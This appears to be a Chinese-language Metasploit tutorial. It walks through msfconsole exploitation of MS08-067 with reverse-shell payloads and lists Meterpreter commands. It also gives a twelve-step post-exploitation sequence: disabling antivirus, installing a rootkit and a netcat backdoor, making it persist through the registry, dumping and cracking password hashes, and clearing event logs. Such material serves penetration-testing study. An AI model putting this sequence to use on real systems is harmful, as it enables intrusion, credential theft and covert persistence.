Metasploit是一个漏洞利用框架,我们可以获取,使用,开发,共享漏洞攻击程序,(可以根据自己的需要开发漏洞攻击程序)。
并且提供了大量的攻击载荷供我们选择,所谓的攻击载荷就是再目标计算机上实现"额外的功能",就像是回答的问题:“我已经控制了机器,还要做什么”,一般来说,最受欢迎的攻击载荷包括添加用户,开启后门,以及在目标机安装新软件。
原则:把Metasploit作为手术刀,精准利用漏洞攻击程序。把已知的系统漏洞和Metasploit中预先打包好的漏洞攻击程序匹配 (Nmap --script vuln IP /漏洞扫描软件的报告)
0 msfupdate 更新Metasploit
1 msfconsole 启动控制台
2 search 漏洞编号 eg:serach ms08-067(注意漏洞编号的书写)
3 use 漏洞攻击程序 eg: use exploit/windows/smb/ms08_067_netapi
4 show payloads 显示可用的攻击载荷
5. set payload 攻击载荷名称 eg:set payload windows/vncinject/reverse_tcp
6 show options 设置攻击载荷
7 show options 查看需要设置的选项
8 set lhost/rhost
9 show options 确认参数是否设置正确
10 exploit 攻击
其他:show targets 可以查看成功渗透攻击的目标平台有哪些
如果在Metasploit中找不到匹配的漏洞利用程序,可以尝试搜索Exploit-DB,漏洞利用和概念验证代码的公开知识库。
Metasploit载荷名称 | 载荷描述 |
windows/adduser | 在目标计算机上的本地管理员组创建新用户 |
windows/exec | 在目标计算机上执行一个windows二进制文件(.exe) |
windows/shell_bind_tcp | 在目标计算机上启动一个命令行shell等待连接 |
windows/shell_reverse_tcp | 目标计算机反弹到攻击机,并启动一个shell |
windows/meterpreter/bind_tcp | 目标计算机安装meterpreter,等待连接 |
windows/meterpreter/reverse_tcp | 目标计算机上安装meterpreter,创建反向连接 |
windows/vncinject/bind_tcp | 目标计算机上安装vnc,等待连接 |
windows/vncinject/reverse_tcp | 目标计算机上安装vnc,返回vnc连接 |
Meterpreter又叫Meta-Interpreter,是Metasploit中的一个可用的攻击载荷,为攻击者提供了强大的命令行shell,可以和目标机进行交互。而且Meterpreter运行在内存中,可以躲过杀毒软件以及一些内存取证工具
Meterpreter和Windows下的cmd.exe或者linux下的/bin/sh有着类似的功能,一旦安装到受攻击的计算机上,就像攻击者坐在目标机前。Meterpreter的运行权限与被攻击的程序的运行权限一致。
故:以最少的权限运行所有的程序
使用传动的cmd和linux下的shell,会启动新的进程,容易被管理用或用户发现,而且cmd和 bin/sh只提供了有限的工具和命令。
常用功能:
安装返回Meterpreter之后,就相当于使用linux命令实现windows控制
命令 | 效果 |
migrate | 将服务迁移到另一个进程中 |
cat | 查看文件在屏幕上显示 |
download | 从目标机上下载文件或文件夹 |
upload | 上传文件到目标机 |
shell | 返回目标机的shell |
hashdump | 提取密码散列 |
cd ls ps pwd mkdir pwd | 和在linux上功能一样 |
1. 对目标使用Meterpreter攻击载荷
2. 使用 migrate 将Meterpreter转移到不为人熟知的常见进程(服务主机 svchost.exe)
3. 使用kill命令禁用防病毒软件
4. 使用 shell命令访问目标机的shell ,并使用 netsh advfirewall firewall 命令更改windows防火墙设置
5. 在禁用防病毒软件后,使用upload上传一个包含Rootkit或John the Ripper等工具
6. 使用execute -f 命令安装Rootkit
7. 如果Rootkit没有包含后门,那么用execute -f 安装 netcat作为永久的后门
8. 用reg命令修改注册表,确保netcat持久化
9. 用hashdump 提取密码散列,使用 JtR破解密码
10. 用edit 命令配置rootkit.ini文件,隐藏上传的文件、后门、新打开的端口
11. 从攻击机建立到目标的新连接,测试上传的后门
12. 用 clearev命令 清除事件日志
1. background 将Meterpreter终端隐藏在后台,可以执行其他命令
2. sessions 可以查看已经成功获取的会话,如果想继续与某会话进行交互,可以使用 sessions -i ID
3. quit 关闭当前的Meterpreter会话,返回MSF终端
4. shell 获取目标机的shell控制台
1. cat 查看文件内容 eg:cat c:\\bootini
2. getwd 获取目标机上的当前工作目录
3. getld 获取当前系统的工作目录
4. upload 上传文件或文件夹到目标机 eg:upload netcat.ext c:\
5. download 从目标机上下载文件或文件夹 eg:download c:\\****
6. edit 调用vim编辑器,对目标机上的文件进行编辑 eg: edit c:\\windows\\system32\drivers\etc\hosts
7. search 对目标机上文件进行搜索 eg:search -h 查看帮助
1. ipconfig 获取目标机上的网络接口信息
2. portfwd Meterpreter内嵌的端口转发器
3. route 显示目标主机的路由信息
1. ps 获取目标主机上正在运行的进程信息
2. migrate 把Meterpreter会话从一个进程移植到另一个进程的内存空间中
3. execute 在目标机上执行文件 eg: execute -H -f -i cmd.exe
4. getpid 获取当前会话的PID值
5. kill 终结指定的PID进程
6. getuid 获取运行Meterpreter会话的用户名,查看当前会话具有的权限
7. sysinfo 得到目标系统一些细腻
8. shutdown 关闭目标主机,Meterpreter也被关闭